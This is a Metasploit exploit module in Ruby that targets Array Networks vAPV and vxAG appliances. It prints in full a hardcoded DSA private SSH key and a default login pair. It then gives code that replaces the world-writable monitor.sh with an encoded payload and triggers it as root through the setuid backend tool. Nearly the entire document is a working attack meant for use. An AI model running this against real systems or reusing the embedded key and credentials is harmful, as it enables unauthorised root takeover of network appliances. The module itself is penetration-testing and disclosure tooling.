## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Array Networks vAPV and vxAG Private Key Privelege Escalation Code Execution", 'Description' => %q{ This module exploits a default hardcoded private SSH key or default hardcoded login and password in the vAPV 8.3.2.17 and vxAG 9.2.0.34 appliances made by Array Networks. After logged in as the unprivileged user, it's possible to modify the world writable file /ca/bin/monitor.sh with our arbitrary code. Execution of the arbitrary code is possible by using the backend tool, running setuid, to turn the debug monitoring on. This makes it possible to trigger our payload with root privileges. }, 'License' => MSF_LICENSE, 'Author' => [ 'xistence <xistence[at]0x90.nl>', # Original discovery and Metasploit module ], 'References' => [ ['OSVDB', '104652'], ['OSVDB', '104653'], ['OSVDB', '104654'], ['URL', 'http://packetstormsecurity.com/files/125761/Array-Networks-vxAG-xAPV-Privilege-Escalation.html'] ], 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet', } }, 'Targets' => [ ['vAPV 8.3.2.17 / vxAG 9.2.0.34', {}], ], 'Privileged' => true, 'DisclosureDate' => "Feb 03 2014", 'DefaultTarget' => 0)) register_options( [ Opt::RHOST(), Opt::RPORT(22), OptBool.new('SSHKEY', [ true, 'Use SSH key instead of password', true]), OptString.new('USER', [ true, 'vAPV/vxAG SSH user', 'sync']), OptString.new('PASS', [ true, 'vAPV/vxAG SSH password', 'click1']) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def login_key(user) print_status("#{rhost}:#{rport} - Attempt to login with '#{user}:SSH PRIVATE KEY'") key_data = "-----BEGIN DSA PRIVATE KEY-----\n" key_data += "MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm\n" key_data += "q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM\n" key_data += "xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25\n" key_data += "Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr\n" key_data += "gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq\n" key_data += "mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K\n" key_data += "O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ\n" key_data += "OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb\n" key_data += "+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs\n" key_data += "+sqSEhA35Le2kC4Y1/A=\n" key_data += "-----END DSA PRIVATE KEY-----\n" opts = { #:auth_methods => ['password', 'keyboard-interactive'], :auth_methods => ['publickey'], :msframework => framework, :msfmodule => self, :port => rport, :disable_agent => true, :config => true, :key_data => key_data, #:password => pass, :record_auth_info => true, :proxies => datastore['Proxies'] } opts end def login_user_pass(user, pass) print_status("#{rhost}:#{rport} - Attempt to login with '#{user}:#{pass}'") opts = { :auth_methods => ['password', 'keyboard-interactive'], :msframework => framework, :msfmodule => self, :port => rport, :disable_agent => true, :config => true, :password => pass, :record_auth_info => true, :proxies => datastore['Proxies'] } opts end def build_command mon_temp = rand_text_alphanumeric(10) cmd = Rex::Text.encode_base64("nohup " + payload.encoded) # Turn debug monitoring off, just in case it's turned on command = '/ca/bin/backend -c "debug monitor off"`echo -e "\0374"`;' # Copy the data from monitor.sh to a random tmp file command += "cat /ca/bin/monitor.sh > /tmp/#{mon_temp};" # Insert our base64 encoded payload in to the world writable /ca/bin/monitor.sh file command += "/usr/bin/perl -MMIME::Base64 -le 'print decode_base64(\"#{cmd}\")' > /ca/bin/monitor.sh;" # Turn debug monitoring on, which will start the monitor.sh and thus our payload command += '/ca/bin/backend -c "debug monitor on"`echo -e "\0374"`;' # Copy monitor.sh data back command += "cat /tmp/#{mon_temp} > /ca/bin/monitor.sh" command end #def execute_command(cmd, opts) def exploit user = datastore['USER'] pass = datastore['PASS'] if datastore['SSHKEY'] opts = login_key(user) else opts = login_user_pass(user, pass) end opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(rhost, user, opts) end rescue Rex::ConnectionError, Rex::AddressInUse fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use") rescue Net::SSH::Disconnect, ::EOFError fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation") rescue ::Timeout::Error fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation") rescue Net::SSH::AuthenticationFailed fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication") rescue Net::SSH::Exception => e fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}") end fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh if datastore['SSHKEY'] print_good("#{rhost}:#{rport} - Login Successful with '#{user}:SSH PRIVATE KEY'") else print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'") end # Make the SSH connection and execute our commands + payload print_status("#{rhost}:#{rport} - Sending and executing payload to gain root privileges!") Net::SSH::CommandStream.new(ssh, build_command, true) end end